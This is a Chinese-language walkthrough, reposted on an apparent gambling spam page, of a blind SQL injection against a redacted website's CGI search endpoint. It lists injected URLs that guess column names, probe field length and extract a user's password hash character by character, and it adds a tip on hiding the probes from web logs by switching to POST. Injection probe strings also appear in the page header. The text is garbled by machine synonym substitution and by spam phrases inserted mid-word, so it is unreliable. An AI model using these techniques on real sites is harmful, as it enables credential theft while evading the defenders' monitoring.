快捷搜索:  as  test  1111  test aNd 8=8  test++aNd+8=8  as++aNd+8=8  as aNd 8=8

和记娱乐博娱188下载_集报网



(留意:出于对mark的尊重,我把一些信息用xx代替了。在公布此文章的时刻,xx的cgi破绽可能已经修正,以是文章中的内容无法证明,盼望看的人主要看看道理,在自己的法度榜样中多留意)

一 道理

sqlhacking,我想大年夜家都知道,便是web利用法度榜样假如纰谬用户提交的数据做过滤,直接利用到sql语句中提交给后台数据库,这样很轻易被不良用心的人使用,提交特殊的参数,构造sql语句,得到数据库中的敏感信息,包括:数据库用户的帐号、口令、安然资料、以致于web掩护职员的口令,或者提升权限,直接得到操作系统system权限(mssql).

对付www.xxxxxxx.com有多处存在此类问题,我找到一处对照有范例代表,如下链接:

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345

^^^^^

这个链接是获得用户的资料,12345便是要查询的xx的ID,也便是数据库里的userid字段 :)假如我们提交这个链接,大年夜家看看会有什么结果

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

password='1234'

~~~~~~~~~~~~~~~~~~~~~~~~~

请看cgi法度榜样use_show_info返回什么

“差错: Fail To Execute SQL: Unknown column 'password' in 'where clause' ”

这种调试信息本该只用到测试的时刻显示给法度榜样员调试用的,但今朝清清楚楚显示给我们.cgi法度榜样把我们提交的内容12345 and password='1234'整个加到sql语句中送给了mysql操作,当然掉足了,由于操作的表里没有password这个字段。我猜想这条sql语句可能是这样的:

select xxx,xxx,xxx,xxx from usertable where userid= %s

等加入我们提交的内容后,真正送给mysql的sql语句就变成:

select xxx,xxx,xxx,xxx from usertable where userid= 12345 and password='1234'

^^^^^^^^^^^^^^^^^^^^^^^^^^

看,当然会掉足。但我们若何使用这点web利用法度榜样的破绽呢?

二 若何获得xx用户口令加密后的字段长度

假如我们知道寄放口令的字段名后,这条sql语句就决不会显示上面的掉足信息,最多显示数据库找不到数据,和数据库掉足等等(请留意:我们必然要思虑为什么web利用法和记娱乐博娱188下载度榜样会给我们这样不合的掉足信息,在后面我们都要经由过程掉足信息的不合来判断我们的操作是否精确)

到了此处我试了多个链接,如:

12345 and password='1234'

12345 and passwd='1234'

12345 and pass='1234'

12345 and PASS='1234'

.....

都显示没有次字段名的差错,以是仍旧没有猜到精确的口令数据库中的字段名。但我绝对确信口令的字段必然同xx号字段(userid)在一个数据表(usertable)里,由于没有人会把用户id和口令passwd放到不合的表里,这些是必要常常检索的数据。

在我无法继承的时刻,刘思平给了我别的一个www.xxxxxxx.com的很致命的cgi破绽这个破绽是cgi居然没有履行就被直接下载到客户端,里面清清楚楚显示了数据库里的浩繁紧张的信息,如数据表名,字段名,sql语句等等。经由过程这个问题,我找到了我感兴趣的器械用户信息表名usertable,xx号码字段名userid, xx口令字段名passwordfield,这

就足够了:)

好,现在我们提交这个链接:

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield='1234'

~~~~~~~~~~~~~~~~~~~~~~~~

真好,不再显示找不到字段名的掉足信息,而是显示

“差错: 数据库差错 ” 这样的掉足信息。

“差错: 数据库差错 ” 这条信息我斟酌可能是cgi在发明数据库没有检索到任何数据后显示的掉足信息,当然也可能有其它缘故原由,我们也无法知道这个cgi法度榜样到底是若何事情的。

但总可以知道,我们确凿已经可以打仗到passwordfield这个字段了。

那我们看看这个字段有多长,用如下几个链接

1) http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

length(passwordfield)32

~~~~~~~~~~~~~~~~~~~~~~~~~~~

这3个链接1,3都返回“差错: 数据库差错 ” 差错信息,只有2返回了真正真确的12345的用户资料,可见只有2构造的sql语句返回了一条数据,其它都由于 and length(passwordfield) 的前提不为真而没有返回数据。

以是可以确认字段passwordfield的长度是32位。

这些都是我们根具我们的输入获得的结果而预测cgi的事情流程,虽说是预测,然则有依据的。

显然xx的口令再寄放到数据库前已经颠末加密。

三 若何获得xx口令passwordfield的加密串

自然使用以上的链接就够用了。如下:

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='f' (掉足)

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e' (精确) 获得1位 e

http://search.xxxxxxx.com/cgi-bin/search1?userid和记娱乐博娱188下载=12345 and

passwordfield>='e2' (掉足)

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e1' (精确) 获得2位 e1

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e18' (掉足)

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e17' (精确) 获得3位 e17

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e178' (掉足)

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e177' (精确) 获得4位 e177

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e177b' (掉足)

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e177a' (精确) 获得5位 e177a

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e177a3' (掉足)

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

password和记娱乐博娱188下载field>='e177a2' (精确) 获得6位 e177a2

.....

.....

.....

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e177a262d和记娱乐博娱188下载03c87a6e76' (掉足)

http://search.xxxxxxx.com/cgi-bin/search1?userid=12345 and

passwordfield>='e177a262d03c87a6e75' (精确) 获得19位“e177a262d03c87a6e75”

就这样着末把32位的字段内容都获得了。

彷佛有点累,我们可以写一个法度榜样代我们测试。

而且,还有个技术:为了防止网管员反省weblog的时刻看到这么多稀罕的输入,我们可以将get的参数改成post参数,这样weblog里面就会显示

http://search.xxxxxxx.com/cgi-bin/search1

method post的记录,不会记录我们提交的测试内容,这样他白叟家也不会随意马虎发明 :)

四 尾声

数据库mysql对付跨表的查询支持的不好,假如是和记娱乐博娱188下载oracle,db2,mssql等数据库就不用如斯费时,跨表查询直接获得申请密码保护的数据内容就够了,我想不至于他们对这些内容也做了加密。

写这篇文章主如果提醒web开拓职员必要留意的一些安然问题,当然办理措施很简单:

(1)过滤利用法度榜样顶用户提交数据的特殊字符

(2)数据库用户权限的治理和分配(如:读权限,读敏感表权限,写权限,写敏感表权限等等)

免责声明:以上内容源自网络,版权归原作者所有,如有侵犯您的原创版权请告知,我们将尽快删除相关内容。

您可能还会对下面的文章感兴趣: